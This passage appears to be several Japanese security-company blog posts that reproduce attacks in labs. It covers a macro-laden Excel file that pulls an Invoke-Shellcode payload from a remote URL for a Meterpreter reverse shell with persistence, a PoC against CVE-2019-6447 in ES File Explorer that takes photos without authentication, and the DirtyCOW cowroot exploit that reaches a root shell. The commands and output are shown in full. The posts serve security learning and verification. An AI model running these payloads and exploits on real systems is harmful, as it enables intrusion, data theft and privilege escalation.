PowerShellを開いてツールがあるフォルダーまで移動し、.ps1ファイルを実行します。
Enter URL of Invoke-Shellcode script (If you use GitHub, use the raw version):には先ほど生成したPayloadのURLを入力し、ipアドレスやポート番号を入力後にファイル名を入力してExcelファイルを生成します。

PS C:\Users\IEUser\Desktop> .\Generate-Macro.ps1
Enter URL of Invoke-Shellcode script (If you use GitHub, use the raw version): http://10.0.1.30/pd.txt
Enter IP Address: 10.0.1.30
Enter Port Number: 8080
Enter the name of the document (Do not include a file extension): file

--------Select Attack---------
1. Meterpreter Shell with Logon Persistence
2. Meterpreter Shell with Powershell Profile Persistence (Requires user to be local admin)
3. Meterpreter Shell with Alternate Data Stream Persistence
4. Meterpreter Shell with Scheduled Task Persistence
------------------------------
Select Attack Number & Press Enter: 1

--------Select Payload---------
1. Meterpreter Reverse HTTPS
2. Meterpreter Reverse HTTP
------------------------------
Select Payload Number & Press Enter: 1
Saved to file C:\Users\IEUser\Desktop\file.xls
Clean-up Script located at C:\Users\IEUser\Desktop\RegistryCleanup.ps1

デスクトップにExcelファイルが生成されていれば成功です。
f:id:Armoris:20201120132339p:plain

準備ができたら生成されたExcelファイルを開いてマクロを有効化してみましょう。
f:id:Armoris:20201120142335p:plain

Windows画面上では何も変化がありませんが、Kali Linuxの方では画像のように侵入に成功しています。
f:id:Armoris:20201120142557p:plain

本当にWindowsに侵入できているかを確認するためにデスクトップにファイルを作成してみます。
まずはshellと入力してWindowsのシェルを利用します。コマンドプロンプトを使ったことがあれば見たことのある表示になっていると思います。
次にcd C:\Users\IEUser\Desktopと入力してデスクトップまで移動し、echo Hack!!! > hack.txtと入力してテキストファイルを作成します。 f:id:Armoris:20201120143540p:plain

Windowsのデスクトップを見ると実際にファルが作成されていることが確認できます。
f:id:Armoris:20201120143843p:plain

以上で今回の検証は終わりです。

おわり

普段業務の中で流れ作業のようにエクセルファイルを開いてマクロの有効化が行われていると思いますが、今回の検証でそのファイルがもし悪意のある第3者によって作られていた場合たったワンクリックで被害を受けてしまうことが分かったのではないかと思います。

また、実際に検証する際は必ず仮想環境などを用意し、そこに対して攻撃コードを実行するようにしてください。

Armoris日記 CVE-2019-6447編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Androidアプリの脆弱性を初めて検証してみる

脆弱性の検証は自己責任で行ってください。また、自身で管理する端末以外ではやらないでください

今週の Armoris日記は Androidアプリの脆弱性検証をやってみたというものです。
今回初めて Androidアプリの脆弱性検証を行うので、わかりやすく試しやすそうな CVE-2019-6447 ES File Explorer について取り上げます。

CVE-2019-6447 は外部から特定のポートに http リクエストを投げることによって Android端末内部の情報を認証なしに取得することができるというものです。
実際に使える PoCがいくつか出回っており、脆弱性のあるバージョンのアプリがインストールされた端末と同一ネットワーク内にいることで攻撃が可能になります。

Description参考:JVN

脆弱性情報:NVD
影響を受けるバージョン:ES File Explorer <= 4.1.9.7.4
CVE番号:CVE-2019-6447

検証環境

今回は検証にあたり手元にあった実機 (Lenovo TB-8) を使用しています。

Name Version
Android 7.0
ES File Explorer 4.1.9.7.4

検証用端末の準備

まずは脆弱性のあるバージョンの apk ファイルを以下からダウンロードします。

apk のダウンロードが完了したら検証端末を USB で接続し、Android File Transfer を使用して Downloadフォルダにコピーします。
f:id:Armoris:20201113160406p:plain

ファイルのコピーが完了したら端末から apk ファイルをタップし、インストールを選択します。
f:id:Armoris:20201113162233j:plain:w400

インストールが完了したらアプリを開いてストレージへのアクセスを許可します。
これでアプリを使う準備が完了しました。
f:id:Armoris:20201113162616j:plain:w400

いよいよ実際に PoC を試してみます

まずは Port 59777 が open になっているか nmap を使用して確認します。
f:id:Armoris:20201113163118p:plain

ポートが open になっていることを確認したので次は画像の一覧を取得してみます。
f:id:Armoris:20201113163449p:plain
実行結果は以下のようになっており、Downloadフォルダの下に4枚の画像があることが確認できました。
このコマンドは Downloadフォルダ以外にも画像があれば全て表示されるようになっています。

user@kali-linux:~/Desktop$ python3 poc.py --cmd listPics --ip 192.168.249.10
[*] Executing command: listPics on 192.168.249.10
[*] Server responded with: 200

{"name":"file1.jpg", "time":"2020/04/22 04:53:47 åå¾", "location":"/storage/emulated/0/Download/file1.jpg", "size":"507.22 KB (519,389 ãã¤ã)", },
{"name":"file2.jpg", "time":"2020/04/22 04:53:59 åå¾", "location":"/storage/emulated/0/Download/file2.jpg", "size":"363.92 KB (372,657 ãã¤ã)", },
{"name":"file3.jpg", "time":"2020/04/22 06:36:37 åå¾", "location":"/storage/emulated/0/Download/file3.jpg", "size":"1.17 MB (1,224,704 ãã¤ã)", },
{"name":"Screenshot.jpg", "time":"2020/11/13 04:00:32 åå¾", "location":"/storage/emulated/0/Download/Screenshot.jpg", "size":"175.26 KB (179,465 ãã¤ã)"}

次は先ほどの一覧の中からScreenshot.jpgというファイルをダウンロードしてみます。
f:id:Armoris:20201113164202p:plain
ダウンロードが完了した Screenshot.jpg を開くと問題なく表示されています。
f:id:Armoris:20201113164439p:plain

ここまでで一切の認証を必要とせず、同一ネットワーク内の Android端末から画像ファイルの取得に成功しました。
他にもインストールされているアプリの一覧取得やデバイス情報の取得が可能なことを確認しました。

おわり

今回検証した脆弱性は少し古いものですが、これで Androidアプリの脆弱性検証を行う際の手順を把握することができたと思っています。
今後はエミュレーター上で今回の脆弱性を再現し、トレーニングなどに再利用しやすくしたり、他の Androidアプリの脆弱性検証も試していきたいと思います。

**今回検証した脆弱性は同一ネットワークに所属しているだけで攻撃が可能なため、自身で管理するネットワーク環境及び端末以外ではやらないでください。

Armoris日記 DirtyCOW編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

今更ながら DirtyCOW の検証をやってみます

脆弱性の検証は自身で管理するサーバー以外にはしないでください。

DirtyCOWとは Linux Kernel に存在する脆弱性Linux Kernel のメモリサブシステム内における copy-on-write の取り扱いで共有リソースへの排他的アクセスの制御ができず、同時に動作している別のコードシーケンスによって共有リソースにアクセスされてしまう競合状態が発生し、プライベートな読み取り専用メモリマッピングが破壊される脆弱性のことを言います。

Description参考:CWE

脆弱性が発表された当時すでにいくつかの PoC も公開されており、大きく話題になっていたようです。

脆弱性情報:NVD
影響を受けるバージョン:Linux Kernel 2.6.22 < 4.8.3
CVE番号:CVE-2016-5195

検証環境

今回検証にあたり Vagrant を使用して環境を用意しています。
使用した Box :sputnik13/trusty64

Name Version
Ubuntu Server 14.04
Linux Kernel 3.16.0-30-generic

さくっと検証環境を用意

以下の Vagrantfile を使用して仮想環境を用意します。

Vagrant.configure(2) do |config|
  config.vm.define :node1 do |node|
    node.vm.box = "ubuntu14.04"
    node.vm.hostname = "node1"
    node.vm.network :public_network,
      :dev => "br0",
      :mode => "bridge",
      :type => "bridge"
  end
end
Vagrant Box に関するちょっとした小ネタ

基本的に Vagrantfile に使いたい Box を書くことで自動的にダウンロードして起動してくれます。
しかしこの Box ダウンロードが非常に遅いことが多い為、wget を使用して Box をダウンロード後 Vagrant で使えるようにする方法を紹介します。

$ wget https://vagrantcloud.com/generic/boxes/ubuntu2004/versions/3.1.2/providers/libvirt.box
$ ls
libvirt.box
$ vagrant box add ubuntu2004 libvirt.box

Vagrantfile を用意したら vagrant up を実行して起動し、起動したら vagrant ssh で仮想環境に接続します。

$ vagrant up
Bringing machine 'node1' up with 'libvirt' provider...
==> node1: Creating image (snapshot of base box volume).
==> node1: Creating domain with the following settings...
〜〜〜〜 一部省略 〜〜〜〜
==> node1: Rsyncing folder: /home/ubuntu/blog/ => /vagrant
$ vagrant ssh
Welcome to Ubuntu 14.04.2 LTS (GNU/Linux 3.16.0-30-generic x86_64)

 \* Documentation:  https://help.ubuntu.com/
Last login: Wed Apr 15 10:16:51 2015 from 10.0.2.2
vagrant@node1:~$

仮想環境に接続できたら今回使用する PoC をコンパイルするために gcc を入れておきます。

vagrant@node1:~$ sudo apt update
vagrant@node1:~$ sudo apt -y install wget gcc

PoC実行前に環境の確認をします。

vagrant@node1:~$ uname -r
3.16.0-30-generic
vagrant@node1:~$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)

PoC を実行してみる

さくっと環境の準備が終わったら PoC を実際に実行してみます。
PoC は複数公開されていますが、今回は以下の PoC を試してみます。
PoC:EXPLOIT DB
Gist:Gist

vagrant@node1:~$ wget https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
vagrant@node1:~$ ls
cowroot.c

PoC ファイルをダウンロードできたらコンパイルして実行します。
Exploit が成功すると以下のように root ユーザーのシェルにログインできるようになります。
id コマンドを実行して uid が root になっていることを確認します。

vagrant@node1:~$ gcc cowroot.c -o cowroot -pthread
vagrant@node1:~$ ls
cowroot  cowroot.c
vagrant@node1:~$ ./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 47032
Racing, this may take a while..
thread stopped
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
root@node1:/home/vagrant# id
uid=0(root) gid=1000(vagrant) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare),1000(vagrant)

これで root 権限の取得まで再現できました。

最後に

今回検証した DirtyCOW と呼ばれる脆弱性は古いものですが、すでに多くの PoC や検証に関する情報が出回っています。
実際に root 権限取得までが非常に容易に行えることが確認できたと思います。
今後はこの脆弱性を組み込んだ CTF の問題なども作成できればと考えています。

また、いつものことですが 自分が管理するサーバー以外では絶対に試さないでください。
検証は自己責任でお願いします。